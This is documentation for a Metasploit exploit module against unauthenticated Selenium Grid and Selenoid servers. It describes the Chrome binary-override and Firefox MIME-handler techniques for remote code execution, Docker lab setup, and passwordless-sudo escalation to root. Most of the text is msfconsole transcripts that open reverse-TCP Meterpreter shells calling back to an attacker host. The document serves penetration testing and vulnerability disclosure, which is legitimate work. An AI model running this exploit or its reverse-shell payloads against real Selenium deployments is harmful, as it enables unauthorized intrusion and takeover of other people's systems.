## Vulnerable Application Selenium Grid and Selenoid expose a WebDriver API that allows creating browser sessions with arbitrary capabilities. When deployed without authentication (the default for both), an attacker can achieve remote code execution through two browser-specific techniques: **Chrome (binary override):** The `goog:chromeOptions` binary field can be set to an arbitrary executable such as `/usr/bin/python3`, since ChromeDriver does not validate it. This was fixed in Selenium Grid 4.11.0 via the stereotype capabilities merge. All Selenoid versions remain vulnerable. **Firefox (profile handler):** A custom profile containing a malicious MIME handler that maps `application/sh` to `/bin/sh` can be injected via `moz:firefoxOptions`. Navigating to a `data:` URI with that content type triggers shell execution. This technique has never been patched and works on all Selenium Grid versions including the latest release (4.40.0 at the time of writing). This was originally reported in [SeleniumHQ/selenium#9526](https://github.com/SeleniumHQ/selenium/issues/9526) in May 2021. The module auto-detects available browsers and selects the best attack vector. Firefox is preferred as it works on all Grid versions. The default Docker images run as `seluser`/`selenium` with passwordless sudo, allowing trivial privilege escalation to root. The vulnerability affects: * Selenium Grid < 4.11.0 with Chrome nodes (binary override) * Selenium Grid - all versions with Firefox nodes (profile handler, unpatched) * Selenoid - all versions with Chrome or Firefox (project archived December 2024) This module was successfully tested on: * selenium/standalone-chrome:4.10.0 on Ubuntu 24.04 (Chrome binary override) * selenium/standalone-firefox:4.10.0 on Ubuntu 24.04 (Firefox profile handler) * selenium/standalone-firefox:latest (4.40.0) on Ubuntu 24.04 (Firefox profile handler) * Selenoid 1.11.3 with selenoid/chrome:128.0 on Ubuntu 24.04 (Chrome binary override) ### Installation (Selenium Grid - Firefox) 1. `docker pull selenium/standalone-firefox:latest` 2. `docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-firefox:latest` ### Installation (Selenium Grid - Chrome) 1. `docker pull selenium/standalone-chrome:4.10.0` 2. `docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-chrome:4.10.0` ### Installation (Selenoid) 1. Create `browsers.json`: ```json { "chrome": { "default": "128.0", "versions": { "128.0": { "image": "selenoid/chrome:128.0", "port": "4444", "path": "/" } } } } ``` 2. `docker pull selenoid/chrome:128.0` 3. Start Selenoid: ``` docker run -d -p 4444:4444 \ -e DOCKER_API_VERSION=1.44 \ -v $(pwd)/browsers.json:/etc/selenoid/browsers.json:ro \ -v /var/run/docker.sock:/var/run/docker.sock \ aerokube/selenoid:latest-release ``` ## Verification Steps 1. Install the application 2. Start msfconsole 3. Do: `use exploit/linux/http/selenium_greed_rce` 4. Do: `set RHOSTS ` 5. Do: `set LHOST ` 6. Do: `run` 7. You should get a session ## Options ### BROWSER Browser to exploit. Default is `auto` which detects available browsers and picks the best vector (Firefox preferred, Chrome fallback). Can be set to `firefox` or `chrome` to force a specific browser. ## Scenarios ### Firefox (auto-detected) - selenium/standalone-firefox:4.40.0 on Ubuntu 24.04 ``` msf6 > use exploit/linux/http/selenium_greed_rce [*] No payload configured, defaulting to python/meterpreter/reverse_tcp msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1 LHOST => 172.17.0.1 msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4480 LPORT => 4480 msf6 exploit(linux/http/selenium_greed_rce) > set TARGET 1 TARGET => 1 msf6 exploit(linux/http/selenium_greed_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/selenium_greed_rce) > set FETCH_SRVPORT 9100 FETCH_SRVPORT => 9100 msf6 exploit(linux/http/selenium_greed_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4480 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Selenium Grid 4.40.0 with Firefox (all versions vulnerable to profile handler) [*] Auto-selected Firefox (profile handler - works on all Grid versions) [*] Creating Firefox session with malicious profile... [*] Session created: 74d019ac-e7eb-4604-9c48-80baf43da5d9 [*] Navigating to data: URI to trigger handler... [*] Sending stage (3090404 bytes) to 172.17.0.5 [+] Deleted /tmp/EUeiCPJfsLF [*] Meterpreter session 1 opened (172.17.0.1:4480 -> 172.17.0.5:37004) meterpreter > getuid Server username: seluser meterpreter > sysinfo Computer : 56a95484dc83 OS : Linux 6.14.0-123037-tuxedo Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > ``` ### Chrome (auto-detected) - selenium/standalone-chrome:4.10.0 on Ubuntu 24.04 ``` msf6 > use exploit/linux/http/selenium_greed_rce [*] No payload configured, defaulting to python/meterpreter/reverse_tcp msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1 LHOST => 172.17.0.1 msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4481 LPORT => 4481 msf6 exploit(linux/http/selenium_greed_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4481 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Selenium Grid 4.10.0 with Chrome (vulnerable to binary override) [*] Auto-selected Chrome (binary override) [*] Sending Chrome session request with binary override... [*] Sending stage (23404 bytes) to 172.17.0.7 [*] Meterpreter session 1 opened (172.17.0.1:4481 -> 172.17.0.7:50292) meterpreter > getuid Server username: seluser meterpreter > sysinfo Computer : 90f5a4eefae5 OS : Linux 6.14.0-123037-tuxedo Architecture : x64 Meterpreter : python/linux meterpreter > ``` ### Selenoid 1.11.3 - selenoid/chrome:128.0 on Ubuntu 24.04 ``` msf6 > use exploit/linux/http/selenium_greed_rce [*] No payload configured, defaulting to python/meterpreter/reverse_tcp msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1 LHOST => 172.17.0.1 msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4453 LPORT => 4453 msf6 exploit(linux/http/selenium_greed_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4453 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Selenoid 1.11.3 built at 2024-05-25_12:34:40PM (all versions vulnerable) [*] Auto-selected Chrome (binary override) [*] Sending Chrome session request with binary override... [*] Sending stage (23408 bytes) to 172.17.0.10 [*] Meterpreter session 1 opened (172.17.0.1:4453 -> 172.17.0.10:42984) meterpreter > getuid Server username: selenium meterpreter > sysinfo Computer : 669a719f93da OS : Linux 6.14.0-123037-tuxedo Architecture : x64 Meterpreter : python/linux meterpreter > ```